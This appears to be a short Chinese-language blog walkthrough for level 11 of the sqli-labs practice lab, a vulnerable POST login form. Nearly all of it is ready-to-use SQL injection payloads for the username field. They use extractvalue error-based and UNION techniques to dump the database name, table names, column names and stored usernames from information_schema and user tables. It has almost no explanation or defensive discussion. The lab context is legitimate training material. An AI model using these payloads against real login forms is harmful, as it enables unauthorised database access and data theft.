本关为POST请求:

输入:admin‘#

密码:随意

sqli-labs-master  第十一关

 

 

爆出当前数据库:

用户名:payload1:admin' and extractvalue(1,concat(0x7e,database(),0x7e))#

              payload2:admin' and extractvalue(1,concat(0x7e,(select database()),0x7e))#

              payload3:admin ' union select 1,database()#

密码:随意

sqli-labs-master  第十一关

 

 

 爆数据表:

用户名:payload1:admin' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e))#

密码:随意

sqli-labs-master  第十一关

爆数据列:

用户名:payload1:admin' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='referers' limit 1,1),0x7e))#

密码:随意

sqli-labs-master  第十一关

 

 爆信息:

用户名:payload1:admin' and extractvalue(1,concat(0x7e,(select username from referer limit 1,1),0x7e))#

密码:随意sqli-labs-master  第十一关

 

相关文章:

  • 2021-05-23
  • 2021-11-27
  • 2022-12-23
  • 2021-12-03
  • 2021-09-13
  • 2021-06-06
  • 2021-12-26
  • 2021-05-08
猜你喜欢
  • 2021-09-10
  • 2022-12-23
  • 2021-12-20
  • 2021-08-07
  • 2021-07-20
  • 2021-12-30
  • 2022-01-09
相关资源
相似解决方案